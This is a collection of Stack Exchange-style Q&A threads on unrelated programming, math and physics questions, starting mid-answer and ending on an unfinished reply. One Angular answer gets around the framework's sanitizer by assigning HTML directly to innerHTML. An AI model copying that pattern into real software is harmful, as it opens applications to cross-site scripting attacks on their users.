    let jsonData = result as! NSDictionary

    //displaying the message in label
    self.labelMessage.text = jsonData.value(forKey: "message") as! String?
    }
    }
}

A:     //About : "I have no idea how to get the url address"

    //You need to know for sure where your service resource is.

    //about : let URL_USER_REGISTER = ""

    //You need to assign URL String of your service like
    URL_USER_REGISTER = "https://yourwebsite.com/services/signup"

    and make URL from your service string like :

    let userRegisterUrl = URL(string: URL_USER_REGISTER)

    //Pass url in Alamofire request method like :

    Alamofire.request(userRegisterUrl, method: .post, parameters: parameters).responseJSON
        {
//Your business logics...handle error,response,data in this block
    }


text:
Q: How to Produce a Circular Display of Images I have an image (in this case, a colorized predefined one) that I would like to display in a circular fashion about a fixed point and specified radius.
Consider the minimal (nonworking) example which produces the image to be displayed, but not the circular display I would like to produce:
\documentclass{book}
\usepackage{xcolor,graphicx}
\usepackage{transparent}
\usepackage{tikz}

\begin{document}
\begin{center}
\includegraphics[width=4em,height=5em]{example-image}\llap{\texttransparent{0.5}{\color{green}\rule{4em}{5em}}}
\end{center}

\vspace*{35pt}

\begin{center}
\begin{tikzpicture}
\fill[blue!65] rectangle (8,6);
\foreach \k in {0,30,...,360}
{\includegraphics[width=.2em]{example-image-b}{($(4,3)+(\k:2$)}}
\end{tikzpicture}
\end{center}
\end{document}

with the output

The compilation of the code (using pdflatex) does not give an error, but as you can see that the blue image does not contain a circular display of green images.
QUESTION: How may the code be modified in order to generate a circular display of the green images, say, at center (4,3), with radius 2, and with the image reoccurring at 30 degree intervals? (I have specified an image width of .2em, but that may have to be adjusted after viewing the first successful display.)
Thank you.

A: I don't know exactly what kind of image you want to display but you may do it by inserting it in a node and place all those nodes with your foreach loop. Don't forget to load the calc library.

\documentclass{book}
\usepackage{xcolor,graphicx}
\usepackage{transparent}
\usepackage{tikz}
\usetikzlibrary{calc}

\begin{document}
\begin{center}
\includegraphics[width=4em,height=5em]{example-image}\llap{\texttransparent{0.5}{\color{green}\rule{4em}{5em}}}
\end{center}

\vspace*{35pt}

\begin{center}
\begin{tikzpicture}
\fill[blue!65] rectangle (8,6);
\foreach \k in {0,30,...,360}
    \node at ($(4,3)+(\k:2)$) {\includegraphics[width=.2em]{example-image-b}};
\end{tikzpicture}
\end{center}
\end{document}

Is it what you're looking for?


text:
Q: JanusGraph with Spark I am trying to use JanusGraph 0.2.0 in our Spark program. Due to Guava version conflicts between Spark and JanusGraph, we were not able to proceed further.
As a workaround, we are trying to shade the guava artifact in JanusGraph and build it again.
Did any one tried doing this? If so, can you please provide some insight on how to do this.
Steps I did so far:

*

*Shaded the guava artifact in janusgraph-core and built a fat jar.

*Installed the janusgraph-core fat jar in local repository.

*But when I tried to add the shaded janusgraph-core in janusgraph-hbase-parent POM, I am running into "Dependency convergence error".

Any idea on how to proceed further. If any of you had already built the JanusGraph with shaded Guava, can you please provide some insight.

A: Figured out the mistake: janusgraph-hbase-parent has janusgraph-es and janusgraph-test as dependencies, which, in turn, had janus-core-0.2.0 as dependency which conflicted with janus-core-0.2.0-shaded [Shaded artifact].
Excluded janus-core-0.2.0 from both test & es and it worked like a charm.


text:
Q: How to return auth Token from .Net Core [Authorize] method My main application delegates authentication to an AuthService application, asking it to authenticate against an Identity Provider through OpenId Connect and return a token.
    [Authorize]
    [HttpGet("Login")]
    public IActionResult Login()
    {
        return Ok(
        {
            Token = ?
        }, OpenIdConnectDefaults.AuthenticationScheme);
    }

I have an API method with the [Authorize] attribute. The user is prompted to login if not already authenticated and then the method runs. My question is can I access the token from there so I can pass it in the response?
Is there a simple way to achieve this?

A: You can get that information injecting a IHttpContextAccessor service in the controller and defining the service in the startup.cs class
public class HomeController
{
    private readonly IHttpContextAccessor _httpContextAccessor;
    public HomeController(IHttpContextAccessor httpContextAccessor)
    {
        _httpContextAccessor = httpContextAccessor;
        //check the _httpContextAccessor.HttpContext object for information about the already logged user
    }
}

Startup.cs
public void ConfigureServices(IServiceCollection services)
{
    services.AddMvc();
    services.AddSingleton<IHttpContextAccessor, HttpContextAccessor>();
}

A: The [Authorize] attribute you are putting on the method means that you are restricting access to the method to authorised users only, so putting that attribute on a Login method makes no sense, as you would have to be authenticated to call it.
What you are looking for is
[Authorize]
public class AccountController : Controller
{
    [AllowAnonymous]
    public ActionResult Login()
    {
    }
    [Authorize]
    public ActionResult Logout()
    {
    }
}

As for how to generate a token, you need to have an identity provider to take a username and password, validate it and create a token that has roles and privs.
I would suggest having a look at Identity Server 4 to generate tokens.
For info on how to connect it to OpenID see Adding User Authentication with OpenID Connect

A: you must get a token to access the Authorize attribute method.
reference
this

A: Here's what I've come up with after looking through the suggestions here:
    [AllowAnonymous]
    [HttpGet("Login")]
    public IActionResult Login()
    {
        return Challenge(new AuthenticationProperties
        {
            RedirectUri = $"{HttpContext.Request.PathBase.Value}/GetToken"
        }, OpenIdConnectDefaults.AuthenticationScheme);
    }

    [Authorize(AuthenticationSchemes = OpenIdConnectDefaults.AuthenticationScheme)]
    [HttpGet("GetToken")]
    public IActionResult GetToken()
    {
        var token = _contextAccessor.HttpContext.GetTokenAsync(OpenIdConnectDefaults.AuthenticationScheme, "id_token").Result;

        return Ok(new
        {
            Token = token
        });
    }

I combined two APIs. From the perspective of the client app it makes a call to a Login API and gets the token as the result. Behind the scenes the Login API redirects to a second API to get and return the token.
UPDATE:
Revisting this after a while in case anyone sees this. I don't remember exactly how, but I think there was a problem with above approach for me.
In the end I used the OnSignedIn CookieAuthenticationHandler event to intercept the token and returned it with the response in a Cookie. The Login API still returns a Challenge request.


text:
Q: Angular 2 disable sanitize I am trying to render base64 string into <img src='data:image/png;base64,${Here}'.
But always when I try to render it, ng2 sanitizing my base64 string before rendering it adds something into my value before showing it in DOM.
I have found workaround(using DomSanitizer) but it doesn't work on latest versions.
Here is my markup:

And here is my component part:
imgBase64="SomeBase64StringFetchedSomehow";

But angular2 is showing in console next message - WARNING: sanitizing unsafe URL value
How to prevent NG2 from sanitizing my base64 string?
Update
get getImg() {
    return this._sanitizer.sanitize(SecurityContext.URL,`data:image/png;base64,${this.img}`);
}

Doesn't solve this issue. DomSanitizer class does not exists anymore in RC6

A: You need to explicitly tell Angular2 that the string is trusted
https://angular.io/docs/ts/latest/api/platform-browser/index/DomSanitizer-class.html
constructor(private sanitizer:DomSanitizer) {}

get imgBase64() {
  this.sanitizer.bypassSecurityTrustUrl('data:image/png;base64,$SomeBase64StringFetchedSomehow');
}

See also In RC.1 some styles can't be added using binding syntax

A: After few hours of researches I have finally found that in latest version of ng2 there is no DomSanitizer that can be injected using DI, however there is Sanitizer. So here is the usage:
constructor( private _sanitizer: Sanitizer){
}

get getImg() {
    return this._sanitizer.sanitize(SecurityContext.URL, `data:image/png;base64,${this.img}`);
}

<input src="{{getImg}}"/>

As you can see first argument of sanitize method is SecurityContext instance, which basically is enum. So right now Sanitizer is a factory which choose the implementation to use based on SecurityContext
In my case I had a problem that my base64 was sanitized before that get, that why I was not able to get it working.

A: After unsuccessfully trying to get the bypassSecurityTrust... functions to work, I resorted to the following:
@ViewChild('div_element_id') private div_element_id: ElementRef;
...

this.div_element_id.nativeElement.innerHTML = bypass_security_for_this_html;


text:
Q: How do we arrive on this kernel equation? In Feynman and Hibbs, we see the following equation:
$$K(b,a)~=~\sum_{\text{paths from $a$ to $b$}} \phi [x(t)] \tag{2-14}$$
which is valid always.
Now, they write
$$\phi[x(t)] ~=~ \text{const} ~e^{iS[x(t)]/\hbar} \tag{2-15}$$
which is where I have a problem. This "functional" seems to change with situations, for example for a particle moving at the speed of light, and being constrained to move only forward or backward, the "functional" now becomes
$$\phi ~=~ (i\epsilon)^R.\tag{2-26}$$
So, my question is this. what exactly are these "functionals" that we are talking about, and how do we arrive of the exact form of a functional depending on the situation? When is it in the form of the exponential "functional" as stated above?

A: The propagator (kernel) can always be expressed as the path integral with a suitably chosen action:
$$
K(b,a) = \int \mathcal{D}[\psi]\ e^{iS[\psi]/\hbar} \ ,
$$
where $\psi$ denotes the configuration of your system.  The subtlety comes in choosing an appropriate $S$ for your situation.
In single-particle, non relativistic quantum mechanics the "configuration" is just the trajectory of your particle $x(t)$ and this becomes equivalent to Eq. 2-15 in Feynman & Hibbs:
$$
K(b,a) = \int \mathcal{D}[x(t)]\ e^{iS[x(t)]/\hbar} \ .
$$
Unfortunately, this exact prescription (describing your particle by its trajectory) doesn't work in relativistic scenarios, because (for instance) your particle can pair produce.  This is mentioned in Section 2-6 of Feynman & Hibbs.  For a relativistic system, you must use quantum field theory.  Your configuration is now defined by a field $\psi(t,\vec{x})$ instead of just a trajectory $x(t)$.  Now the kernel looks like:
$$
K(b,a) = \int \mathcal{D}[\psi(t,\vec{x})]\ e^{iS[\psi(t,\vec{x})]/\hbar} \ .
$$
$S$ is now the action for a relativistic field, for instance $S = \int d^4x \left(\bar{\psi} i\gamma^\mu \partial_\mu \psi - m \bar{\psi}\psi\right)$ for a free fermion.
As pointed out by Qmechanic in the comments, your example $\phi = (i\epsilon)^R$ is the Feynman checkerboard model.  This is a model Feynman came up with to perform path integrals for relativistic particles using only their trajectories, bypassing the field theory.  It was constructed so that the kernel would obey the Dirac equation in the limit $\epsilon \to 0$.  It's a little weird, and only works in 1 dimension (although apparently extensions to multiple dimensions exist).
In all situations of interest, to the best of my knowledge, kernels/propagators take the form $\sum e^{iS/\hbar} $.  This checkerboard model is the only time I've encountered anything different, and its a pretty unique case.


text:
Q: Azure Function fails to build when TFM is upgraded from netcoreapp3.0 to netcoreapp3.1 We were trying to bump our dotnet version from a mix of .net 2.2 & .net core 3.0 to .net core 3.1 and we followed Jeff Holan's Dev post to upgrade which is surmarised as below
To change a project between ~2 and ~3 locally, update the .csproj file of the project and change:
AzureFunctionsVersion from v2 to v3
Microsoft.NET.Sdk.Functions package version to at least 3.0.1
Optionally, you can change to target netcoreapp3.1 if you want to target the latest .NET Core version
But while debugging Azure function project locally in VS Code, it still failed with an error message suggesting that there were still config remnants pointing to 3.0. Anyone encountered this issue?
[
[

A: On doing a full project search, we found that VS Code itself stored [i.e. in its .vscode directory], namely in two files: settings.json and tasks.json. Some config key value pairs still pointed to .net core 3.0 [perhaps these were added during when we were debugging the project when these were the current framework]. So for the migration from 2.2/3.0 to 3.1 we need to to ensure the references to the older frameworks are removed

*

*We have to explicitly make the changes in tasks.json from netcoreapp3.0 to netcoreapp3.1

*Ensure the deploy path in settings.json points to .net core 3.1

PS: In settings.json, project runtime is bumped upto 3 if you have followed Jeff Hollans dev article, otherwise it will mostly point to  ~2


text:
Q: How to update property of geojson polygon after clicking feature using openlayers 3/4? I created my geojson layer like this:
    var gjlayer = new ol.layer.Vector({
        title: 'My Layer',
        source: new ol.source.Vector({
            url: '/path-to-my-geojson-file',
            format: new ol.format.GeoJSON()
        })
    });

It's got properties on it that I change that I want to change when I click a polygon that was drawn from the gjlayer:
    var feature = mc.map.forEachFeatureAtPixel(evt.pixel,
      function(feature, layer) {
        return feature;
      });
    if (feature) {
      feature.set('newproperty', 'new');
    };

The problem is, this 'feature.set' does not appear to actually change gjlayer. If I log out the feature and attempt to style it onclick it does change the color based on the property, it appears to work, but the problem is the same polygon that is in gjlayer appears to remain the same... so if I clear the map and 'redraw' gjlayer, the styling and the property are not there.
I expect that if I cleared the map, and 'readded' the gjlayer, the feature that had the 'newproperty' would be there.

A: What do you mean, 'clear the map', do you create a new one? As far as i know your vectorlayer only saves the information during the time its added to the map-object. I think you will lose the information if you would create a new one or attach/detach the vectorlayer to the mapobject.
Update: Regarding OP's comment:
//Get Current Features from old vector layer
var oldFeatures = oldVectorLayer.getSource().getFeatures();
//Create a new source and add oldFeatures to this source
var newVectorLayerSource = new ol.source.Vector({
    features: oldFeatures
 });
//create new vector layer and add new vector Source
var newVectorLayer = new ol.layer.Vector({
    source: newVectorLayerSource
});
//if your vectorlayer already exist you can use set Source,
//but the old source will be overwritten
alreadyExistingVectorLayer.setSource(newVectorLayerSource);
//If you want to add the feature to an existing source use:
alreadyExistingVectorLayer.getSource().addFeatures(oldFeatures)

For further help i need more information what you wanna do :-)
I think your problem can be saved easier with some eventlistener on your Vectorsource collection.

A: If you want to save the changes made to your GeoJSON layer you need to use WFS Transaction and probably you need a MapServer or GeoServer.


text:
Q: Autofill Destination using a named range and LastRow I'm trying to autofill from an offset from a named range Range("Home_Email_1").Offset(1, -1) down until a previously declared LastRow
I can't work out what the syntax is for autofilling from a named cell down to the last row is.
I cannot work out how to do this without using Select. I could use select to do what I want by putting in a piece of code to select the cell I want, and then putting in the line:
Selection.AutoFill Destination:=ActiveCell.Range("A1:A" & LastRow)

Here is the code I have so far:
Sub Tidy_Emails_tester()
    ActiveWorkbook.ActiveSheet.Rows(1).Find("Home Email 1").Name = "Home_Email_1"
    Range("Home_Email_1").EntireColumn.Insert

    Range("Home_Email_1").Offset(, -1).FormulaR1C1 = "Suggested Email"
    Dim LastRow As Long
    LastRow = Range("A" & Rows.Count).End(xlUp).Row
    Range("Home_Email_1").Offset(1, -1).FormulaR1C1 = _
        "=IF(RC[2],RC[1],IF(RC[4],RC[3],IF(RC[6],RC[5],IF(RC[8],RC[7],IF(RC[1]<>"""",RC[1],IF(RC[3]<>"""",RC[3],IF(RC[5]<>"""",RC[5],IF(RC[7]<>"""",RC[7],IF(RC[9]<>"""",RC[9],"""")))))))))"

    Range("Home_Email_1").Offset(1, -1).AutoFill Destination:=Range("Home_Email_1").Offset(1, -1). & LastRow
End Sub

Grateful for any help you can provide making this work without select.
Cheers

A: You can use the .FillDown method to fill the formula down.
 Range("Home_Email_1", Cells(LastRow, Range("Home_Email_1").Column)).FillDown

We use the .Cells property to build the .Range object, which we want to populate the formula down.


text:
Q: XwalkView doesn't load file I'm using the latest stable xwalkview version. It worked well, but not working on Xiaomi devices.
06-14 13:57:17.709 17493-17750/com.james.lanbook E/art:      dlopen("/data/data/com.james.xxxxxx/app_xwalkcore/libxwalkcore.so", RTLD_LAZY) failed: dlopen failed: library "/data/data/com.james.xxxxxxx/app_xwalkcore/libxwalkcore.so" not found

[App Version] build:18.48.477.13, api:5, min_api:1
[Lib Version] build:18.48.477.13, api:5, min_api:5


text:
Q: Creating a counting column query I'm looking to create a select query that will have a column that counts the number of times someone has been trained in a certain month. I have managed to get it to show the list of people who went to training sessions in that specific month, but I want to show everyone else as well with a 0 count of the sessions they attended. How would I do this?
SELECT
    carer.carer_firstname, carer.carer_lastname,
    COUNT(carer_training_link.carer_id) AS sessions_attended_May
FROM
    carer, carer_training_link
WHERE
    carer.carer_id = carer_training_link.carer_id
    AND carer_training_link.training_date BETWEEN TO_DATE('01/MAY/2019', 'DD/MON/YYYY')
                                              AND TO_DATE('01/JUN/2019', 'DD/MON/YYYY')
GROUP BY
    carer.carer_firstname, carer.carer_lastname;

A: You are using a join sytax that can only be called antique.
You want an outer join, so as to include carers that had no training.
Date ranges are best compared with >= and <.
SELECT
  c.carer_firstname, c.carer_lastname,
  COUNT(cl.carer_id) AS sessions_attended_may
FROM carer c
LEFT OUTER JOIN carer_training_link cl
  ON cl.carer_id  = c.carer_id
  AND cl.training_date >= DATE '2019-05-01'
  AND cl.training_date <  DATE '2019-06-01'
GROUP BY c.carer_firstname, c.carer_lastname
ORDER BY c.carer_firstname, c.carer_lastname;


text:
Q: Intent launches Activity, but Activity disappears when pressing the home button I have made an app.
When I launch that app in the normal way, then it works fine. When I press the home button, the app is paused and is still there as it should be.
Now I want to start my app by an intent...so e.g. when a NFC tag is detected the app should launch. This also works, but when I am pressing the home button then the app disappears, but I would like that it stays open (in pause mode) like when I launch it in the "normal wayy". Does anyone know why this can happen? My observation is that the onStop() function is called but not the onDestroy() function. Therefore it is very strange that the app just "disappears".
Thanks a lot in advance.

A: Please see Android Activity Lifecycle. onDestroy() is not always called when application goes to background and generally here are no guarantee that onDestory() will be called before app/activity is killed.
Could you please explain what you mean 'pause mode'? You mean that app saves the state?


text:
Q: Logstash installing plugin error Good day:
I'm trying to install a plugin logstash-output-json_batch on Logstash however, I'm getting this error:
C:\Program Files\logstash\logstash-6.3.1\bin>logstash-plugin.bat install logstash-output-json_batch
Validating logstash-output-json_batch
Installing logstash-output-json_batch
Plugin version conflict, aborting
ERROR: Installation Aborted, message: Bundler could not find compatible versions for gem "logstash-core-plugin-api":
  In snapshot (Gemfile.lock):
    logstash-core-plugin-api (= 2.1.16)

  In Gemfile:
    logstash-devutils (= 1.3.5) java depends on
      logstash-core-plugin-api (<= 2.99, >= 2.0) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-codec-netflow (< 4.0.0, >= 3.14.1) java depends on
      logstash-core-plugin-api (~> 2.0) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-filter-dissect (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 2.1.1) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-input-s3 (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 2.1.12) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-file (>= 0) java depends on
      logstash-core-plugin-api (< 2.99, >= 2.0.0) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-stdout (>= 0) java depends on
      logstash-core-plugin-api (< 2.99, >= 1.60.1) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-webhdfs (>= 0) java depends on
      logstash-core-plugin-api (<= 2.99, >= 1.60) java

    logstash-output-json_batch (>= 0) java depends on
      logstash-core-plugin-api (~> 1.0) java

    logstash-core-plugin-api (>= 0) java

The purpose of using this event is to batch my events over to http instead of singular calls (which is the case for http plugin).
Thanks.

A: The bundler doesn't find compatible version,
First way is, you can download repository and modify "gemfile" and install it manualy
Second way is, update bundler.


text:
Q: Visual Studio extension for finding need of library references I have a project which is referring many libraries/dlls, I am not sure which one are needed and which one not. Is there some way or Visual Studio extension to find out if a library/dll reference (direct/indirect) is required in a project ?

A: Resharper has this functionality. You can right-click on the References folder and choose "Remove unused references". There is also an "Optimize references" option where you can see how your references are used.

A: Visual Studio has such a functionality for cleaning usings (respectively imports in vb) build in (this applies for 2012, 2013 - with 2010 I'm not sure). Just right click on usings:

Using Resharper (as Håkan Fahlstedt mentioned) or CodeRush will give you some more options/comfort.
To get more Informations about the use of referenced dlls in your project NDepend is a nice tool (standalone and as studio extension). There is a 14-day demo available.


text:
Q: Installing R on Ubuntu 22.04 I have just updated my device to Ubuntu 22.04 and I wanted to install R following this readme: https://cran.r-project.org/bin/linux/ubuntu/fullREADME.html
This worked fine, however, now I get an error when I try to update my packages:
~$ sudo apt update

Err:1 https://cloud.r-project.org/bin/linux/ubuntu jammy-cran40/ InRelease
The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 51716619E084DAB9
Get:7 http://apt.insync.io/ubuntu jammy InRelease [5.531 B]
Reading package lists... Done
W: GPG error: https://cloud.r-project.org/bin/linux/ubuntu jammy-cran40/ InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 51716619E084DAB9
E: The repository 'https://cloud.r-project.org/bin/linux/ubuntu jammy-cran40/ InRelease' is not signed.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.

Does anyone know how to solve this? I have tried all repositories in the readme, same result.

A: It looks to me that you've missed a step in the guide that you've linked. You need to sign the key. The relevant line in that link is

wget -qO- https://cloud.r-project.org/bin/linux/ubuntu/marutter_pubkey.asc | sudo tee -a /etc/apt/trusted.gpg.d/cran_ubuntu_key.asc


text:
Q: How to update my known_hosts file for my jenkins container for github app authentication So I am trying to set up our CICD pipeline to authenticate to github via a github app rather than a perosnal user token.
So once I follow the instructions (https://docs.cloudbees.com/docs/cloudbees-ci/latest/cloud-admin-guide/github-app-auth) I run a pipeline and during startup the following error occurs.
ERROR: Error cloning remote repo 'origin'

hudson.plugins.git.GitException: Command "git fetch --no-tags --force --progress -- git@github.com:AusBOM/gridutility.git +refs/heads/master:refs/remotes/origin/master" returned status code 128:

stdout:

stderr: Failed to add the RSA host key for IP address '20.248.137.48' to the list of known hosts (/home/jenkins/.ssh/known_hosts).

git@github.com: Permission denied (publickey).

fatal: Could not read from remote repository.

The known_hosts file is mounted as a volume from a kubernetes secret on the container we use to run the pipeline.  So I have the ability to modify and update this if required and I believe I could do this for a personal access token but not sure how to do this for the github app authentication.
What can I do to fix this so that the github app authentication will work on the box.


text:
Q: Find minimum of Archimedean spiral in revolution I just recently asked about limacon curves, but now I want to examine the Archimedian curve:
$$r=a + b\theta$$
The question is essentially the same, for a given range, how would one find the minimum $x$-value in a particular revolution. Take $r=1 - \frac{0.5}{2\pi}\theta$ for $0\le\theta<360$:
Ignore the fact that the picture goes to $3\pi$.

It is very slight and hard to tell, but our smallest $x$ value is NOT at $\theta=180$. But where is it? Obviously it is less that $180$, but how do I get that angle/point? I have already tried differentiating my function, but it does not work out to be a nice solve.

A: Here's the Lagrange multiplier approach:
